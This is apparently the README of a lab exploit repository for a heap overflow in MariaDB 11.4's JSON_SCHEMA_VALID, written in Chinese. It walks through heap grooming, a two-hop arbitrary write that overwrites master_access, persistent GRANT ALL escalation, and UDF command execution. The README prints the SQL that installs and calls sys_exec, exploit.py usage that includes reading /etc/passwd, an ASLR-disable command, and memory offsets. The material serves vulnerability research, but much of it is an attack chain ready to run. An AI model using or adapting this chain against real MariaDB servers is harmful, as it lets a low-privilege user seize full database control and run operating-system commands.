MariaDB JSON_SCHEMA_VALID() 中的堆缓冲区溢出 → 持久化权限提升 → UDF 远程代码执行
| 受影响版本 | MariaDB 11.4.x(已在 11.4.9 上确认) |
| 漏洞 | json_get_normalized_string() 中的越界写入 — strncpy 写入 128 字节的 DYNAMIC_STRING,无边界检查 |
| 影响 | 仅具有 SELECT 权限的用户 → ALL PRIVILEGES WITH GRANT OPTION → 通过 UDF 执行任意命令 |
| 源码位置 | sql/json_schema_helper.cc:91 |
实验室辅助。 该脚本使用 Docker / root 内省来读取
/proc/1/mem并发现每个连接对应的堆布局。实际利用 链是纯 SQL over TCP。武器化的利用需要信息泄露 原语来替代内存内省步骤。
lowpriv 只能对 test 数据库执行 SELECT。系统表被拒绝访问。

一个 Python 脚本执行堆整理、通过用户变量元数据进行两跳任意写入、通过 GRANT ALL 持久化权限提升,并通过 UDF 实现代码执行:
python3 exploit.py

lowpriv 现在拥有 ALL PRIVILEGES WITH GRANT OPTION,可以读取系统表、读写任意文件,并以 mysql 用户身份执行操作系统命令。该授权在服务器重启后仍然有效。


┌──────────────────────────────────────────────────────────────────┐
│ SELECT json_schema_valid(overflow), │
│ @ccc...c := hop1, │
│ @aaa...a := hop2 │
└──────────────────────────────────────────────────────────────────┘
│ │ │
▼ ▼ ▼
┌───────────┐ ┌──────────────┐ ┌──────────────┐
│ 192 字节 │ │ 通过损坏的 │ │ 通过重定向的 │
│ 溢出 │ │ 指针写入 @c │ │ 指针写入 @a │
│ 破坏 │ │ │ │ │
│ entry_c 的│ │ entry_a → │ │ master_access│
│ value 指针│ │ .value = │ │ = 0xFFFF.. │
│ (2 字节 │ │ &master_ │ │ (ALL PRIVS) │
│ 部分覆盖)│ │ access │ │ │
│ │ │ .length= 9 │ └──────────────┘
└───────────┘ └──────────────┘
堆整理 — 100+ 个用户变量耗尽 tcache,强制
Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c 连续分配。
溢出 — JSON_SCHEMA_VALID 触发 192 字节的 strncpy 超出
128 字节缓冲区,破坏 entry_c→value(在同一 64 KB 页内的 2 字节部分指针
覆盖),使其指向 entry_a + 32。
跳 1 — 对 @c 赋值通过损坏的指针将 126 字节写入 entry_a 的元数据,设置:
entry_a→value = &Security_context::master_accessentry_a→length = 9跳 2 — 对 @a 赋值通过重定向的 entry_a→value 指针写入 8 字节的 0xFF → master_access = ALL PRIVILEGES。
持久化后,服务器重启(崩溃恢复),利用提升的权限安装 UDF 共享库:
LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'SELECT sys_exec('id > /tmp/pwned')# 1. 构建并启动容器
./setup.sh
# 2. 在 Docker 主机上禁用 ASLR
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
# 3. 运行利用(每次尝试自动校准)
python3 exploit.py
# 4. 自定义命令
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'
/proc/sys/kernel/randomize_va_space = 0)--cap-add SYS_PTRACE 运行(用于访问 /proc/1/mem)--calibrate 测量堆布局常量并退出
--cmd CMD 阶段 2 UDF 执行的命令(默认:id > /tmp/pwned)
--stage1-only 仅运行权限提升,跳过 UDF 远程代码执行
--attempts N 阶段 1 最大尝试次数(默认:5)
--host HOST MariaDB 主机(默认:127.0.0.1)
--port PORT MariaDB 端口(默认:3306)
利用脚本以 root 身份进入容器读取 /proc/1/mem。
这用于两件事:
user_var_entry
结构体并验证它们相邻(entry_a+32 与 entry_c→value 在同一 64KB 页内,
以实现 2 字节部分覆盖)。Security_context 地址 — 找到 master_access 字段,
作为两跳写入的目标。每次尝试都会内联运行扫描,因为堆布局因连接而异 (即使 ASLR=0),原因是 MariaDB 的线程池分配了不同的 arena。实际利用链 — 溢出 + hop1 + hop2 — 是 通过 TCP 连接执行的纯 SQL。
在现实场景中,攻击者需要单独的信息泄露 漏洞(或侧信道)来获取这些地址。
持久化 — 会话现在拥有所有权限。GRANT ALL 将权限提升提交到
由 Aria 支持的 mysql.global_priv 表。会话在清理期间最终崩溃(残留堆损坏),但
GRANT 已被检查点保存并在重启后仍然有效。
| 约束 | 解决方案 |
|---|
STRING_RESULT 在重新分配检查之前执行 length++ | 载荷为 N−1 字节,因此 N−1+1 = N 与存储的长度匹配 → 损坏的指针不会触发重新分配 |
126 字节的 hop2 会破坏 Security_context 之后的 THD 字段 | 在 hop1 中设置 entry_a→length = 9,使 hop2 仅写入 8 字节(master_access)+ 1 个 NUL |
Security_context 中 master_access 的偏移量 | 距结构基址 1712 字节(priv_user[384] + proxy_user[645] + priv_host[256] + priv_role[384] + 填充 + 指针) |
| Aria 崩溃恢复会回滚未提交的写入 | GRANT ALL + 10 秒 SLEEP 允许 Aria 在会话清理崩溃之前完成检查点 |
| 堆布局因连接而异(即使 ASLR=0) | 每次尝试内联的 /proc/1/mem 扫描发现每个连接的 entry_a 和 master_access |
| plugin_dir 由 root 所有 | Dockerfile 预先设置 chmod 777(实验室便利性) |
| 文件 | 描述 |
|---|
exploit.py | 两阶段利用:权限提升(TCP SQL)+ UDF 远程代码执行 |
raptor_udf.c | UDF 源码 — sys_exec() 调用 system() |
Dockerfile | 实验室容器镜像(编译 UDF,开放 plugin_dir) |
init.sql | 创建 lowpriv 用户 |
setup.sh | 构建并启动实验室 |
screenshots/ | 终端截图 |